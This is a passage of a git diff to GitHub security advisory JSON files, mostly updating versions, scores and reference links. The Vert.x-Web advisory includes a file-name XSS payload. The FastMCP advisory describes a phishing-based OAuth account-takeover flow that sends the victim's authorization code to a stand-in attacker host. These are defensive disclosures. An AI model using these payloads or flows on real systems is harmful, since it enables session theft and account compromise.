b/advisories/github-reviewed/2025/09/GHSA-95h4-w6j8-2rp8/GHSA-95h4-w6j8-2rp8.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-95h4-w6j8-2rp8", - "modified": "2025-12-12T15:41:28Z", + "modified": "2026-03-18T18:31:09Z", "published": "2025-09-02T15:31:08Z", "aliases": [ "CVE-2025-9784" @@ -61,11 +61,11 @@ }, { "type": "WEB", - "url": "https://github.com/undertow-io/undertow/pull/1778" + "url": "https://github.com/undertow-io/undertow/pull/1805" }, { "type": "WEB", - "url": "https://github.com/undertow-io/undertow/pull/1802" + "url": "https://github.com/undertow-io/undertow/pull/1804" }, { "type": "WEB", @@ -73,23 +73,27 @@ }, { "type": "WEB", - "url": "https://github.com/undertow-io/undertow/pull/1804" + "url": "https://github.com/undertow-io/undertow/pull/1802" }, { "type": "WEB", - "url": "https://github.com/undertow-io/undertow/pull/1805" + "url": "https://github.com/undertow-io/undertow/pull/1778" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:23143" + "url": "https://www.kb.cert.org/vuls/id/767506" }, { "type": "WEB", - "url": "https://access.redhat.com/security/cve/CVE-2025-9784" + "url": "https://kb.cert.org/vuls/id/767506" }, { "type": "WEB", - "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2392306" + "url": "https://issues.redhat.com/browse/UNDERTOW-2598" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/releases/tag/2.2.38.Final" }, { "type": "PACKAGE", @@ -97,15 +101,55 @@ }, { "type": "WEB", - "url": "https://github.com/undertow-io/undertow/releases/tag/2.2.38.Final" + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2392306" }, { "type": "WEB", - "url": "https://issues.redhat.com/browse/UNDERTOW-2598" + "url": "https://access.redhat.com/security/cve/CVE-2025-9784" }, { "type": "WEB", - "url": "https://kb.cert.org/vuls/id/767506" + "url": "https://access.redhat.com/errata/RHSA-2026:4924" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:4917" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:4916" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:4915" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:3892" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:3891" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:3889" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0386" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0384" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0383" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:23143" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/09/GHSA-g2h5-cvvr-7gmw/GHSA-g2h5-cvvr-7gmw.json b/advisories/github-reviewed/2025/09/GHSA-g2h5-cvvr-7gmw/GHSA-g2h5-cvvr-7gmw.json index 9914cf7dd68e1..70d76a1d5be5d 100644 --- a/advisories/github-reviewed/2025/09/GHSA-g2h5-cvvr-7gmw/GHSA-g2h5-cvvr-7gmw.json +++ b/advisories/github-reviewed/2025/09/GHSA-g2h5-cvvr-7gmw/GHSA-g2h5-cvvr-7gmw.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-g2h5-cvvr-7gmw", - "modified": "2025-09-26T16:14:54Z", + "modified": "2026-01-14T15:51:07Z", "published": "2025-09-17T19:03:05Z", "aliases": [ "CVE-2025-59342" @@ -28,11 +28,14 @@ "introduced": "0" }, { - "last_affected": "136" + "fixed": "136.1" } ] } - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 136" + } } ], "references": [ diff --git a/advisories/github-reviewed/2025/09/GHSA-m68q-4hqr-mc6f/GHSA-m68q-4hqr-mc6f.json b/advisories/github-reviewed/2025/09/GHSA-m68q-4hqr-mc6f/GHSA-m68q-4hqr-mc6f.json index dfd944ba8d6ac..5660ff4004483 100644 --- a/advisories/github-reviewed/2025/09/GHSA-m68q-4hqr-mc6f/GHSA-m68q-4hqr-mc6f.json +++ b/advisories/github-reviewed/2025/09/GHSA-m68q-4hqr-mc6f/GHSA-m68q-4hqr-mc6f.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-m68q-4hqr-mc6f", - "modified": "2025-12-11T12:30:27Z", + "modified": "2026-01-15T12:30:25Z", "published": "2025-09-16T15:32:37Z", "aliases": [ "CVE-2025-4953" @@ -44,33 +44,37 @@ "type": "WEB", "url": "https://github.com/containers/podman/pull/25173" }, + { + "type": "PACKAGE", + "url": "https://github.com/containers/podman" + }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2024:8690" + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2367235" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:15904" + "url": "https://access.redhat.com/security/cve/CVE-2025-4953" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:16724" + "url": "https://access.redhat.com/errata/RHSA-2026:0316" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:16729" + "url": "https://access.redhat.com/errata/RHSA-2025:2703" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:17669" + "url": "https://access.redhat.com/errata/RHSA-2025:23113" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:22265" + "url": "https://access.redhat.com/errata/RHSA-2025:22732" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:22275" + "url": "https://access.redhat.com/errata/RHSA-2025:22724" }, { "type": "WEB", @@ -78,27 +82,31 @@ }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:22724" + "url": "https://access.redhat.com/errata/RHSA-2025:22275" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:22732" + "url": "https://access.redhat.com/errata/RHSA-2025:22265" }, { "type": "WEB", - "url": "https://access.redhat.com/errata/RHSA-2025:2703" + "url": "https://access.redhat.com/errata/RHSA-2025:17669" }, { "type": "WEB", - "url": "https://access.redhat.com/security/cve/CVE-2025-4953" + "url": "https://access.redhat.com/errata/RHSA-2025:16729" }, { "type": "WEB", - "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2367235" + "url": "https://access.redhat.com/errata/RHSA-2025:16724" }, { - "type": "PACKAGE", - "url": "https://github.com/containers/podman" + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:15904" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2024:8690" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/09/GHSA-qm9p-f9j5-w83w/GHSA-qm9p-f9j5-w83w.json b/advisories/github-reviewed/2025/09/GHSA-qm9p-f9j5-w83w/GHSA-qm9p-f9j5-w83w.json index 3fe01a3246435..5bae6ed46a7bb 100644 --- a/advisories/github-reviewed/2025/09/GHSA-qm9p-f9j5-w83w/GHSA-qm9p-f9j5-w83w.json +++ b/advisories/github-reviewed/2025/09/GHSA-qm9p-f9j5-w83w/GHSA-qm9p-f9j5-w83w.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-qm9p-f9j5-w83w", - "modified": "2025-12-08T13:52:49Z", + "modified": "2026-01-29T02:37:59Z", "published": "2025-09-17T21:30:42Z", "aliases": [ "CVE-2025-56648" @@ -48,6 +48,10 @@ "type": "WEB", "url": "https://github.com/parcel-bundler/parcel/pull/10138" }, + { + "type": "WEB", + "url": "https://github.com/parcel-bundler/parcel/commit/4bc56e3242a85491c7edf589966e9b44c6330c49" + }, { "type": "WEB", "url": "https://gist.github.com/R4356th/41f468def606b2406e36f7193f5322b8" diff --git a/advisories/github-reviewed/2025/09/GHSA-vrw9-g62v-7fmf/GHSA-vrw9-g62v-7fmf.json b/advisories/github-reviewed/2025/09/GHSA-vrw9-g62v-7fmf/GHSA-vrw9-g62v-7fmf.json index 7259c8470e445..f4c6734e76540 100644 --- a/advisories/github-reviewed/2025/09/GHSA-vrw9-g62v-7fmf/GHSA-vrw9-g62v-7fmf.json +++ b/advisories/github-reviewed/2025/09/GHSA-vrw9-g62v-7fmf/GHSA-vrw9-g62v-7fmf.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-vrw9-g62v-7fmf", - "modified": "2025-09-24T20:10:59Z", + "modified": "2026-01-27T21:06:02Z", "published": "2025-09-24T18:30:31Z", "aliases": [ "CVE-2025-57350" @@ -28,7 +28,7 @@ "introduced": "0" }, { - "last_affected": "2.0.10" + "fixed": "2.0.13" } ] } @@ -44,6 +44,14 @@ "type": "WEB", "url": "https://github.com/Keyang/node-csvtojson/issues/498" }, + { + "type": "WEB", + "url": "https://github.com/Keyang/node-csvtojson/issues/502" + }, + { + "type": "WEB", + "url": "https://github.com/Keyang/node-csvtojson/commit/4caeebd13b67be63282a7bbed3ca0cf9813f4bfc" + }, { "type": "PACKAGE", "url": "https://github.com/Keyang/node-csvtojson" @@ -51,6 +59,10 @@ { "type": "WEB", "url": "https://github.com/VulnSageAgent/PoCs/tree/main/JavaScript/prototype-pollution/CVE-2025-57350" + }, + { + "type": "WEB", + "url": "https://security.snyk.io/vuln/SNYK-JS-CSVTOJSON-13109616" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/09/GHSA-wp3j-xq48-xpjw/GHSA-wp3j-xq48-xpjw.json b/advisories/github-reviewed/2025/09/GHSA-wp3j-xq48-xpjw/GHSA-wp3j-xq48-xpjw.json index 558454786d039..8f7a6ec69597d 100644 --- a/advisories/github-reviewed/2025/09/GHSA-wp3j-xq48-xpjw/GHSA-wp3j-xq48-xpjw.json +++ b/advisories/github-reviewed/2025/09/GHSA-wp3j-xq48-xpjw/GHSA-wp3j-xq48-xpjw.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-wp3j-xq48-xpjw", - "modified": "2025-11-13T12:31:19Z", + "modified": "2026-02-16T15:32:47Z", "published": "2025-09-04T20:01:54Z", "aliases": [ "CVE-2025-9566" @@ -122,6 +122,14 @@ "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:18217" }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:17669" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:16724" + }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:16515" @@ -153,6 +161,26 @@ { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:15900" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHEA-2025:4782" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHBA-2025:16163" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHBA-2025:16158" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHBA-2025:15712" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHBA-2025:15692" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/10/GHSA-45p5-v273-3qqr/GHSA-45p5-v273-3qqr.json b/advisories/github-reviewed/2025/10/GHSA-45p5-v273-3qqr/GHSA-45p5-v273-3qqr.json index b0ceb8672de13..8a8a8fac5a275 100644 --- a/advisories/github-reviewed/2025/10/GHSA-45p5-v273-3qqr/GHSA-45p5-v273-3qqr.json +++ b/advisories/github-reviewed/2025/10/GHSA-45p5-v273-3qqr/GHSA-45p5-v273-3qqr.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-45p5-v273-3qqr", - "modified": "2025-10-22T19:38:11Z", + "modified": "2026-01-21T16:37:06Z", "published": "2025-10-22T19:38:11Z", "aliases": [ "CVE-2025-11966" @@ -9,6 +9,10 @@ "summary": "Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names", "details": "# Description\n\n- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.\n- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.\n- Affected Code:\n - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`\n - Lines:\n - 709–713: `normalizedDir` is constructed without escaping\n - 714–731: `
  • ` elements insert file names directly into attributes and body without escaping\n - 744: parent directory name construction\n - 746–751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping\n\n# Reproduction Steps\n\n1. Prerequisites:\n - Directory listing is enabled using `StaticHandler` \n (e.g., `StaticHandler.create(\"public\").setDirectoryListing(true)`)\n - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)\n\n2. Create a malicious file name (example for Unix-based OS):\n - Create an empty file in `public/` with one of the following names:\n - `.txt`\n - Or attribute injection: `evil\" onmouseover=\"alert('XSS')\".txt`\n - Example:\n ```bash\n mkdir -p public\n printf 'test' > \"public/.txt\"\n ```\n\n3. Start the server (example):\n - Routing: `router.route(\"/public/*\").handler(StaticHandler.create(\"public\").setDirectoryListing(true));`\n - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`\n\n4. Verification request (raw HTTP):\n ```\n GET /public/ HTTP/1.1\n Host: 127.0.0.1:8890\n Accept: text/html\n Connection: close\n ```\n\n5. Example response excerpt:\n ```html\n \n ```\n\n- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.\n\n# Potential Impact\n\n- **Stored XSS**\n - Arbitrary JavaScript executes in the browser context of users viewing the listing page\n - Possible consequences:\n - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens\n - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)\n - Watering hole attacks, including malware distribution or malicious script injection to other pages\n\n- **Common Conditions That Make Exploitation Easier**\n - Uploaded files are served directly under a publicly accessible directory\n - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed\n - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments\n\n# Similar CVEs Previously Reported\n\n- CVE‑2024‑32966 \n- CVE‑2019‑15603", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" diff --git a/advisories/github-reviewed/2025/10/GHSA-64w3-5q9m-68xf/GHSA-64w3-5q9m-68xf.json b/advisories/github-reviewed/2025/10/GHSA-64w3-5q9m-68xf/GHSA-64w3-5q9m-68xf.json index 82f9546f76bda..603be16372871 100644 --- a/advisories/github-reviewed/2025/10/GHSA-64w3-5q9m-68xf/GHSA-64w3-5q9m-68xf.json +++ b/advisories/github-reviewed/2025/10/GHSA-64w3-5q9m-68xf/GHSA-64w3-5q9m-68xf.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-64w3-5q9m-68xf", - "modified": "2025-11-28T06:32:05Z", + "modified": "2026-02-17T17:20:04Z", "published": "2025-10-23T15:30:34Z", "aliases": [ "CVE-2025-11429" @@ -25,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "26.3.0" }, { "fixed": "26.4.1" @@ -33,6 +33,25 @@ ] } ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.keycloak:keycloak-services" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "26.2.11" + } + ] + } + ] } ], "references": [ @@ -48,6 +67,10 @@ "type": "WEB", "url": "https://github.com/keycloak/keycloak/commit/a34094100716b7c69ae38eaed6678ab4344d0a1d" }, + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/commit/a752492843e21c3ab06090616692e53001864158" + }, { "type": "WEB", "url": "https://github.com/keycloak/keycloak/commit/bda0e2a67c8cf41d1b3d9010e6dfcddaf79bf59b" diff --git a/advisories/github-reviewed/2025/10/GHSA-87xj-ghmc-c3xq/GHSA-87xj-ghmc-c3xq.json b/advisories/github-reviewed/2025/10/GHSA-87xj-ghmc-c3xq/GHSA-87xj-ghmc-c3xq.json new file mode 100644 index 0000000000000..082c5fb2b940c --- /dev/null +++ b/advisories/github-reviewed/2025/10/GHSA-87xj-ghmc-c3xq/GHSA-87xj-ghmc-c3xq.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-87xj-ghmc-c3xq", + "modified": "2026-02-25T19:19:27Z", + "published": "2025-10-10T18:31:23Z", + "aliases": [ + "CVE-2025-11580" + ], + "summary": " PowerJob has Missing Authorization in its /user/list file", + "details": "A weakness has been identified in PowerJob up to 5.1.2. This affects the function list of the file /user/list. This manipulation causes missing authorization. The attack can be initiated remotely. The exploit has been made available to the public and could be exploited.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "tech.powerjob:powerjob" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "5.1.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11580" + }, + { + "type": "WEB", + "url": "https://github.com/PowerJob/PowerJob/issues/1127" + }, + { + "type": "PACKAGE", + "url": "https://github.com/PowerJob/PowerJob" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?ctiid.327902" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?id.327902" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?submit.662446" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-862" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-02-25T19:19:27Z", + "nvd_published_at": "2025-10-10T18:15:37Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/10/GHSA-895x-rfqp-jh5c/GHSA-895x-rfqp-jh5c.json b/advisories/github-reviewed/2025/10/GHSA-895x-rfqp-jh5c/GHSA-895x-rfqp-jh5c.json index fbce3cb220d9f..f1d2b5b48bfac 100644 --- a/advisories/github-reviewed/2025/10/GHSA-895x-rfqp-jh5c/GHSA-895x-rfqp-jh5c.json +++ b/advisories/github-reviewed/2025/10/GHSA-895x-rfqp-jh5c/GHSA-895x-rfqp-jh5c.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-895x-rfqp-jh5c", - "modified": "2025-12-20T05:48:24Z", + "modified": "2026-02-17T17:21:35Z", "published": "2025-10-23T15:30:34Z", "aliases": [ "CVE-2025-12110" @@ -28,7 +28,7 @@ "introduced": "0" }, { - "fixed": "26.3.0" + "fixed": "26.2.3" } ] } @@ -48,6 +48,10 @@ "type": "WEB", "url": "https://github.com/keycloak/keycloak/commit/54e1c8af1e089ad33d32e0f2792610e4b8df421b" }, + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/commit/c830a27928cac4294619af7d147bdff34d4a85e7" + }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2025:21370" diff --git a/advisories/github-reviewed/2025/10/GHSA-9329-mxxw-qwf8/GHSA-9329-mxxw-qwf8.json b/advisories/github-reviewed/2025/10/GHSA-9329-mxxw-qwf8/GHSA-9329-mxxw-qwf8.json index f9346876c4260..f1b0367c6fbcc 100644 --- a/advisories/github-reviewed/2025/10/GHSA-9329-mxxw-qwf8/GHSA-9329-mxxw-qwf8.json +++ b/advisories/github-reviewed/2025/10/GHSA-9329-mxxw-qwf8/GHSA-9329-mxxw-qwf8.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-9329-mxxw-qwf8", - "modified": "2025-10-16T19:49:01Z", + "modified": "2026-01-29T03:59:42Z", "published": "2025-10-16T19:49:01Z", "aliases": [ "CVE-2025-53092" @@ -11,7 +11,7 @@ "severity": [ { "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N" + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], "affected": [ @@ -64,7 +64,7 @@ "CWE-364", "CWE-942" ], - "severity": "MODERATE", + "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-10-16T19:49:01Z", "nvd_published_at": "2025-10-16T17:15:33Z" diff --git a/advisories/github-reviewed/2025/10/GHSA-c2jp-c369-7pvx/GHSA-c2jp-c369-7pvx.json b/advisories/github-reviewed/2025/10/GHSA-c2jp-c369-7pvx/GHSA-c2jp-c369-7pvx.json index 85118a8557252..138b9416f6c3b 100644 --- a/advisories/github-reviewed/2025/10/GHSA-c2jp-c369-7pvx/GHSA-c2jp-c369-7pvx.json +++ b/advisories/github-reviewed/2025/10/GHSA-c2jp-c369-7pvx/GHSA-c2jp-c369-7pvx.json @@ -1,11 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-c2jp-c369-7pvx", - "modified": "2025-10-29T15:38:07Z", + "modified": "2026-01-21T21:56:44Z", "published": "2025-10-29T15:38:07Z", "aliases": [], "summary": "FastMCP Auth Integration Allows for Confused Deputy Account Takeover", - "details": "### Summary\n\nFastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.\n\nFor example, on a local MCP server, it may be hosted here:\n\n```http\nhttp://localhost:8000/.well-known/oauth-protected-resource\n```\n\nAnd the JSON representation of the PRM document:\n\n```json\n{\n \"resource\": \"http://localhost:8000/mcp\",\n \"authorization_servers\": [\n \"http://localhost:8000/\"\n ],\n \"scopes_supported\": [\n \"User.Read\",\n \"email\",\n \"openid\",\n \"profile\"\n ],\n \"bearer_methods_supported\": [\n \"header\"\n ]\n}\n```\n\nNotice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client.\n\nThe FastMCP server also hosts the AS metadata:\n\n```bash\nhttp://localhost:8000/.well-known/oauth-authorization-server\n```\n\nWith the following content:\n\n```json\n{\n \"issuer\": \"http://localhost:8000/\",\n \"authorization_endpoint\": \"http://localhost:8000/authorize\",\n \"token_endpoint\": \"http://localhost:8000/token\",\n \"registration_endpoint\": \"http://localhost:8000/register\",\n \"scopes_supported\": [\n \"User.Read\",\n \"email\",\n \"openid\",\n \"profile\"\n ],\n \"response_types_supported\": [\n \"code\"\n ],\n \"grant_types_supported\": [\n \"authorization_code\",\n \"refresh_token\"\n ],\n \"token_endpoint_auth_methods_supported\": [\n \"client_secret_post\"\n ],\n \"code_challenge_methods_supported\": [\n \"S256\"\n ]\n}\n```\n\nAll of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector):\n\n```http\nhttp://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\nWhen using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here:\n\n```http\nhttps://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n>[!NOTE]\n>In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below.\n\n\"image\"\n\nNotice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that's because we're now switching to using the MCP server's **static app registration** instead of the DCR client details.\n\nCompleting the authorization flow here for the first time for a user would trigger the Entra ID consent flow:\n\n\"image\"\n\nThis consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked.\n\nThis is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts.\n\nWith the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID.\n\nNow, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID:\n\n```http\nhttp://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp\n```\n\n>[!IMPORTANT]\n>Note that the redirect URI above points to the `https://evil.example.com` client.\n\nAt this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`.\n\nThe user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim.\n\n### Details\n\nSee above - the outline covers the attack vector.\n\n### PoC\n\nStandard documented sample that uses Entra ID:\n\n```python\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth.providers.azure import AzureProvider\n\n# The AzureProvider handles Azure's token format and validation\nauth_provider = AzureProvider(\n client_id=\"f527ed01-9725-45bd-8173-8d3a017ba02f\", # Your Azure App Client ID\n client_secret=\"H3X8Q~coFQaI_zpYXePrzdRFZ7xmwEORJJ49tcnw\", # Your Azure App Client Secret\n tenant_id=\"412e93fe-74e5-4ee6-9b67-1eeb1c79550e\", # Your Azure Tenant ID (REQUIRED)\n base_url=\"http://localhost:8000\", # Must match your App registration\n required_scopes=[\"User.Read\", \"email\", \"openid\", \"profile\"], # Microsoft Graph permissions\n # redirect_path=\"/auth/callback\" # Default value, customize if needed\n)\n\nmcp = FastMCP(name=\"Azure Secured App\", auth=auth_provider)\n\n# Add a protected tool to test authentication\n@mcp.tool\nasync def get_user_info() -> dict:\n \"\"\"Returns information about the authenticated Azure user.\"\"\"\n from fastmcp.server.dependencies import get_access_token\n \n token = get_access_token()\n # The AzureProvider stores user data in token claims\n return {\n \"azure_id\": token.claims.get(\"sub\"),\n \"email\": token.claims.get(\"email\"),\n \"name\": token.claims.get(\"name\"),\n \"job_title\": token.claims.get(\"job_title\"),\n \"office_location\": token.claims.get(\"office_location\")\n }\n```\n\n### Impact\n\nPotential for server account compromise.", + "details": "### Summary\n\nFastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server.\n\nFor example, on a local MCP server, it may be hosted here:\n\n```http\nhttp://localhost:8000/.well-known/oauth-protected-resource\n```\n\nAnd the JSON representation of the PRM document:\n\n```json\n{\n \"resource\": \"http://localhost:8000/mcp\",\n \"authorization_servers\": [\n \"http://localhost:8000/\"\n ],\n \"scopes_supported\": [\n \"User.Read\",\n \"email\",\n \"openid\",\n \"profile\"\n ],\n \"bearer_methods_supported\": [\n \"header\"\n ]\n}\n```\n\nNotice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client.\n\nThe FastMCP server also hosts the AS metadata:\n\n```bash\nhttp://localhost:8000/.well-known/oauth-authorization-server\n```\n\nWith the following content:\n\n```json\n{\n \"issuer\": \"http://localhost:8000/\",\n \"authorization_endpoint\": \"http://localhost:8000/authorize\",\n \"token_endpoint\": \"http://localhost:8000/token\",\n \"registration_endpoint\": \"http://localhost:8000/register\",\n \"scopes_supported\": [\n \"User.Read\",\n \"email\",\n \"openid\",\n \"profile\"\n ],\n \"response_types_supported\": [\n \"code\"\n ],\n \"grant_types_supported\": [\n \"authorization_code\",\n \"refresh_token\"\n ],\n \"token_endpoint_auth_methods_supported\": [\n \"client_secret_post\"\n 